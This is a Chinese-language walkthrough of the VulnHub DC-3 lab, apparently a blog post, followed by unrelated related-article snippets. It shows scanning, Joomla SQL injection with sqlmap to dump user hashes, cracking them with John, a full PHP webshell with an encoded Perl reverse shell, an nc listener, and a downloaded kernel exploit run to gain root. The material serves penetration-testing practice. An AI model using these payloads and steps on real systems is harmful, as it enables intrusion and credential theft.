当前位置: 首页 > news >正文

vulnhub靶机-DC系列-DC-3

文章目录

    • 信息收集
          • 漏洞查找
          • 漏洞利用
            • SQL注入
            • John工具密码爆破
            • 反弹shell
          • 提权

信息收集

主机扫描

arp-scan -l

image-20230928110452414

可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。

netdiscover -r 192.168.160.0/24

说明:

  • netdiscover: 这是一个网络探测工具的命令,用于执行本地网络中的主机发现。
  • -r 192.168.160.0/24: 这是一个命令的选项参数,指定了要进行主机发现的 IP 地址范围。在这个例子中,IP 地址范围是 192.168.160.0/24,表示从 192.168.160.1192.168.160.254 的所有 IP 地址。

当执行这个命令时,netdiscover 将发送 ARP 请求广播到指定的 IP 地址范围内的每个主机,并通过监听并收集其回应来确定哪些主机是活动的。通过这种方式,可以快速发现目标网络中的活动主机,以便进行进一步的分析或测试。

image-20230928115237049

端口扫描

nmap -A 192.168.160.35 

说明:

​ -A #全面扫描

nmap扫描工具使用

image-20230928115455076

发现80端口可用,用的是Joomlacms

浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

发现80端口可用,用的是Joomlacms

浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

image-20230928115656525

目录爆破

sudo python3 dirsearch.py -u 192.168.160.35 -i 200

说明:

-u URL # URL目标
-i #状态码

image-20230928144854404

也可以用御剑后台扫描工具

image-20230928150120062

也可以用nikto扫描 Nikto

image-20230928150450979

进入后台管理页面

image-20230928150824051

image-20230928151157653

漏洞查找

joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具。

joomscan -u 192.168.160.35

image-20230928175049004

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南

searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

# 搜索 joomla 3.7.0版本的漏洞
searchsploit joomla 3.7.0

image-20230928152747066

发现有SQL注入漏洞和跨站脚本漏洞


使用find命令找出42033.txt的位置

find / -name '42033.txt'

image-20230928152938854

查看文件内容

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20230928153124436

给出了注入方法

漏洞利用
SQL注入
  • 列出所有数据库
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  

说明:

  • -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml": 这是一个选项参数,指定要进行注入测试的目标 URL。在这个例子中,目标 URL 是 http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
  • --risk=3: 这是一个选项参数,指定进行注入测试的风险级别(0-3,默认为1)。这里,风险级别被设置为 3,表示使用最高的风险级别进行测试。风险级别越低但是越安全
  • --level=5: 这是一个选项参数,指定进行注入测试的深度级别。sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
  • --random-agent: 这是一个选项参数,指定在测试请求中使用随机的 User-Agent 头,以隐藏工具的身份。
  • --dbs: 这是一个选项参数,指示 sqlmap 在发现数据库后列出数据库名称。
  • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。在这个例子中,参数 list[fullordering] 被指定为注入点。

执行这个命令时,sqlmap 将使用给定的参数和选项对目标 URL 进行注入测试。它将尝试发现 SQL 注入漏洞,并进一步探测和利用这些漏洞。通过设置风险级别和深度级别,可以增强测试的准确性和深度。

image-20230928154056375

执行结果:

image-20230928154129688

  • 列出指定数据库的所有表

    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
    

    说明:

    --tables # 列出表

    执行结果:

    image-20230928155641772

  • 列出指定库指定表的字段名

    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --column  -p list[fullordering]
    

image-20230928160334098

  • 获取用户名和密码
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password  -p list[fullordering] --dump

说明:

  • -D joomladb: 这是一个选项参数,指定要查询的数据库名称。在这里数据库名称被指定为 joomladb
  • -T "#__users": 这是一个选项参数,指定要查询的数据表名称。这里数据表名称被指定为 #__users
  • -C username,password: 这是一个选项参数,指定要查询和显示的列名称。这里列名称被指定为 usernamepassword
  • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。这里参数 list[fullordering] 被指定为注入点。
  • --dump: 这是一个选项参数,指示 sqlmap 在发现脆弱点后,从数据库中导出数据。

image-20230928160805392

执行结果:

image-20230928160821299

发现用户的密码做了加密

John工具密码爆破

john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将得到的用户密码的hash值复制进去并保存,使用john破解。

image-20230928161938876

john passwd.txt

执行结果:

image-20230928162145975

得到密码后,登录后台界面

反弹shell

登陆后,就要开始寻找有没有可以getshell的地方,这类的cms肯定是有上传文件的地方,这里可以上传一个一句话木马,用蚁剑进行连接,也可以写一个php,反弹shell到我们的攻击机上,这边,经过寻找发现了有个templates的beez3的目录

image-20230928162720294

image-20230928162805035

image-20230928162824698

image-20230928162905931

写入php反弹shell

在这里插入图片描述

反弹代码:

<?php
function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}
function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的shell路径为

http://192.168.160.35/templates/beez3/webshell.php

用kali来监听

nc -lvvp 7777

image-20230928164322017

浏览器访问shell.php的地址http://192.168.160.35/templates/beez3/webshell.php

image-20230928164358398

反弹成功!!!

image-20230928164424650

Get交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

说明:

  • python3: 这是执行 Python 解释器的命令。
  • -c 'import pty; pty.spawn("/bin/bash")': 这是一个以字符串方式传递给 Python 解释器的脚本。脚本导入了 pty 模块,并使用 pty.spawn() 函数来启动一个新的 /bin/bash 终端。

当你在终端中执行这个命令时,它会调用 Python 解释器并执行指定的脚本。脚本导入 pty 模块,并使用 pty.spawn() 函数来生成一个新的伪终端(shell)。这样,你就可以与一个交互式的终端进行交互,就像运行 /bin/bash 一样。

它通常在渗透测试或特权升级等情况下使用。它允许将一个非交互式的终端(shell)转变为一个可交互的终端,从而获取更多的权限和控制。

image-20230928164736863

交互shell获取成功,但是还不是root权限

提权

查看操作系统版本信息

tac /etc/issue

说明:

tac 是一个命令行工具,用于反向显示文件的内容。/etc/issue 是一个特定的文件路径,代表系统登录时显示的欢迎信息。

当你在终端中执行 tac /etc/issue 命令时,它会打开 /etc/issue 文件并以相反的顺序显示文件的内容。换句话说,它会将文件的最后一行显示在第一行,倒数第二行显示在第二行,以此类推,直到第一行显示在最后。

在许多 Linux 发行版中,/etc/issue 文件通常包含一个欢迎信息,用于在用户登录或启动时显示系统的版本、主机名等相关信息。使用 tac /etc/issue 命令可以反向显示这个欢迎信息,从底部开始逐行显示。

image-20230928165217932

cat /proc/version

说明:

cat /proc/version 是一个用于在 Linux 系统中查看内核版本信息的命令。

在 Linux 中,/proc 目录是一个虚拟文件系统,提供了对运行中的内核和进程信息的访问。其中的 /proc/version 文件包含有关内核版本的详细信息。

image-20230928165731250

再次使用searchsploit工具搜索漏洞

searchsploit Ubuntu 16.04

image-20230928170302284

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式

使用find命令查找路径

find / -name '39772.txt'

执行结果:

image-20230928170537979

绝对路径为:/usr/share/exploitdb/exploits/linux/local/39772.txt

也可以直接用searchsploit -p linux/local/39772.txt会直接显示出绝对路径

image-20230928170753467

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230928171105293

溢出提权(exp提权)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载39772.zip,粘贴复制到kali里(不能拖到kali里面,否则会出现丢包的现象)

image-20230928171407746

image-20230928171423420

在桌面开启http服务,将下载好的文件导入到DC-3靶机里

python3 -m http.server 8888

image-20230928172418850

浏览器进行访问http://192.168.160.32:8888

image-20230928172350338

出现这个说明服务开启成功,exp地址是

http://192.168.160.32:8888/39772/exploit.tar

回到刚才的python交互shell

wget http://192.168.160.32:8888/39772/exploit.tar

image-20230928172619740

image-20230928172710189

下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

image-20230928172829442

cd ebpf_mapfd_doubleput_exploit

image-20230928172919917

执行

./compile.sh
./doubleput

image-20230928173222433

使用whoamiid查看当前用户和用户id

image-20230928173324353

切换到root的家目录

image-20230928173507534

查看the-flag.txt

image-20230928173551641

相关文章:

vulnhub靶机-DC系列-DC-3

文章目录 信息收集漏洞查找漏洞利用SQL注入John工具密码爆破反弹shell 提权 信息收集 主机扫描 arp-scan -l可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。 netdiscover -r 192.1…...

【CTFHUB】SSRF原理之简单运用(一)

一、漏洞原理 SSRF 服务端请求伪造 原理&#xff1a;在某些网站中提供了从其他服务器获取数据的功能&#xff0c;攻击者能通过构造恶意的URL参数&#xff0c;恶意利用后可作为代理攻击远程或本地的服务器。 二、SSRF的利用 1.对目标外网、内网进行端口扫描。 2.攻击内网或本…...

wepack打包生产环境使用http-proxy-middleware做api代理转发的方法

首先安装http-proxy-middleware依赖&#xff0c;这个用npm和yarn安装都可以。 然后在express服务器的代码增加如下内容&#xff1a; const express require("express"); const app express(); const { createProxyMiddleware, fixRequestBody, } require("h…...

一百八十六、大数据离线数仓完整流程——步骤五、在Hive的DWS层建动态分区表并动态加载数据

一、目的 经过6个月的奋斗&#xff0c;项目的离线数仓部分终于可以上线了&#xff0c;因此整理一下离线数仓的整个流程&#xff0c;既是大家提供一个案例经验&#xff0c;也是对自己近半年的工作进行一个总结。 二、数仓实施步骤 &#xff08;五&#xff09;步骤五、在Hive的…...

Idea引入thymeleaf失败解决方法

报错 Whitelabel Error Page This application has no explicit mapping for /error, so you are seeing this as a fallback.Fri Sep 29 09:42:00 CST 2023 There was an unexpected error (typeNot Found, status404). 原因&#xff1a;html没有使用thymeleaf 首先要引入…...

Dev C++安装与运行

参考: https://blog.csdn.net/Keven_11/article/details/126388791 https://www.cnblogs.com/-Wallace-/p/cpp-stl.html 2021年真题要求 2022年真题要求 河南省的考试环境 IDE环境 Dev C 安装 下载 安装 点击OK&#xff0c;选择我接受 修改安装路径为D盘d:\Program Fi…...

Docker下如何构建包含延迟插件的RabbitMQ镜像

&#x1f468;&#x1f3fb;‍&#x1f4bb; 热爱摄影的程序员 &#x1f468;&#x1f3fb;‍&#x1f3a8; 喜欢编码的设计师 &#x1f9d5;&#x1f3fb; 擅长设计的剪辑师 &#x1f9d1;&#x1f3fb;‍&#x1f3eb; 一位高冷无情的编码爱好者 大家好&#xff0c;我是 DevO…...

Vue3理解(6)

列表渲染 1.v-for指令基于一个数组来渲染列表&#xff0c;v-for指令的值需要使用 item in items形式的特殊语法,items是源数据的数组&#xff0c;而item是迭代项的别名。 2.在v-for块中可以完整访问父作用域内的属性和变量&#xff0c;v-for的第二个参数表示当前项的位置索引。…...

react+IntersectionObserver实现页面丝滑帧动画

实现效果&#xff1a; 加入帧动画前&#xff1a; 普通的静态页面 加入帧动画后&#xff1a; 可以看到&#xff0c;加入帧动画后&#xff0c;页面效果还是比较丝滑的。 技术实现 加入animation动画类 先用 **scss **定义三种动画类&#xff1a; .withAnimation {.fade1 {ani…...

项目实战第四十六讲:财务经营看板

项目实战第四十六讲:财务经营看板 本文是项目实战第四十六讲,财务经营看板。财务模块划分为两类:① 财务工具(执行和业务财务闭环)② 财务报表,本期需求为新增财务看板,共增加4个看板 文章目录 项目实战第四十六讲:财务经营看板1、需求背景2、流程图3、技术方案4、相关…...

【VUE复习·10】v-for 高级::key 作用和原理;尽量不要使用 index 来遍历

总览 1.:key 作用和原理 2.尽量不要使用 index 来遍历 一、:key 作用和原理 1.数据产生串位的原因 在我们使用 index 进行遍历的时候&#xff0c;会出现虚拟 DOM 和 真实 DOM 的渲染问题。 二、尽量不要使用 index 来遍历 详情见视频 1/3 处&#xff1a; https://www.bili…...

阿里云七代云服务器实例、倚天云服务器及通用算力型和经济型实例规格介绍

在目前阿里云的云服务器产品中&#xff0c;既有五代六代实例规格&#xff0c;也有七代和八代倚天云服务器&#xff0c;同时还有通用算力型及经济型这些刚推出不久的新品云服务器实例&#xff0c;其中第五代实例规格目前不在是主推的实例规格了&#xff0c;现在主售的实例规格是…...

《IIS系列》IIS日志文件管理

我们在使用IIS部署网站的时候&#xff0c;随着时间推移&#xff0c;IIS 生成的日志文件可能会消耗大量磁盘空间。 日志可能会填满整个硬盘驱动器&#xff0c;为了缓解此问题&#xff0c;许多用户完全关闭日志记录&#xff0c;但关了记录又会导致出现问题无从排查&#xff0c;故…...

3D孪生场景搭建:模型阵列摆放

阵列摆放概念 阵列摆放是指将物体、设备或元件按照一定的规则和间距排列组合的方式。在工程和科学领域中&#xff0c;阵列式摆放常常用于优化空间利用、提高效率或增强性能。 阵列摆放通常需要考虑间距、角度、方向、对称性等因素&#xff0c;以满足特定的要求和设计目标。不同…...

什么是大数据可视化

在互联网高速发展的当今&#xff0c;5G的兴起加速了数据传输的速度&#xff1b;与此同时&#xff0c;智能物联网如智慧家电、可穿戴设备等产品的火热&#xff0c;进一步扩充了数据获取的渠道。不仅仅在网页上、手机和电脑应用上以秒计产生海量数据&#xff0c;智能设备同时也在…...

python监控ES索引数量变化

文章目录 1, datafram根据相同的key聚合2, 数据合并&#xff1a;获取采集10,20,30分钟es索引数据脚本测试验证 1, datafram根据相同的key聚合 # 创建df1 > json {key:A, value:1 } {key:B, value:2 } data1 {key: [A, B], value: [1, 2]} df1 pd.DataFrame(data1)# 创建d…...

MySQL explain SQL分析工具详解与最佳实践

目录 一、explain工具介绍二、添加示例表和数据用于后续演示三、explain中的列3.1、id列3.2、select_type列3.3、table列3.4、partitions列3.5、type列NULLsystemconsteq_refrefrangeindexALL 3.6、possible_keys列3.7、key列3.8、key_len列3.9、ref列3.10、rows列3.11、filter…...

【2023年11月第四版教材】第16章《采购管理》(第一部分)

第16章《采购管理》&#xff08;第一部分&#xff09; 1 章节内容2 管理基础3 管理过程4 采购管理ITTO汇总 1 章节内容 【本章分值预测】大部分内容不变&#xff0c;细节有一些变化&#xff0c;预计选择题考3-4分&#xff0c;案例和论文 都有可能考&#xff1b;是需要重点学习…...

矢量图形编辑软件illustrator 2023 mac软件特点

illustrator 2023 mac是一款矢量图形编辑软件&#xff0c;用于创建和编辑排版、图标、标志、插图和其他类型的矢量图形。 illustrator mac软件特点 矢量图形&#xff1a;illustrator创建的图形是矢量图形&#xff0c;可以无限放大而不失真&#xff0c;这与像素图形编辑软件&am…...

前端架构师之01_JavaScript_Ajax

1 Web基础知识 1.1 Web服务器 Web服务器又称为网站服务器&#xff0c;主要用于提供网上信息浏览服务。常见的Web服务器软件有Apache HTTP Server&#xff08;简称Apache&#xff09;、Nginx等。 浏览器与服务器交互 在Web服务器中&#xff0c;请求资源又分为静态资源和动态…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

三维GIS开发cesium智慧地铁教程(5)Cesium相机控制

一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点&#xff1a; 路径验证&#xff1a;确保相对路径.…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

Mac软件卸载指南,简单易懂!

刚和Adobe分手&#xff0c;它却总在Library里给你写"回忆录"&#xff1f;卸载的Final Cut Pro像电子幽灵般阴魂不散&#xff1f;总是会有残留文件&#xff0c;别慌&#xff01;这份Mac软件卸载指南&#xff0c;将用最硬核的方式教你"数字分手术"&#xff0…...

基于Docker Compose部署Java微服务项目

一. 创建根项目 根项目&#xff08;父项目&#xff09;主要用于依赖管理 一些需要注意的点&#xff1a; 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件&#xff0c;否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...

Typeerror: cannot read properties of undefined (reading ‘XXX‘)

最近需要在离线机器上运行软件&#xff0c;所以得把软件用docker打包起来&#xff0c;大部分功能都没问题&#xff0c;出了一个奇怪的事情。同样的代码&#xff0c;在本机上用vscode可以运行起来&#xff0c;但是打包之后在docker里出现了问题。使用的是dialog组件&#xff0c;…...

安全突围:重塑内生安全体系:齐向东在2025年BCS大会的演讲

文章目录 前言第一部分&#xff1a;体系力量是突围之钥第一重困境是体系思想落地不畅。第二重困境是大小体系融合瓶颈。第三重困境是“小体系”运营梗阻。 第二部分&#xff1a;体系矛盾是突围之障一是数据孤岛的障碍。二是投入不足的障碍。三是新旧兼容难的障碍。 第三部分&am…...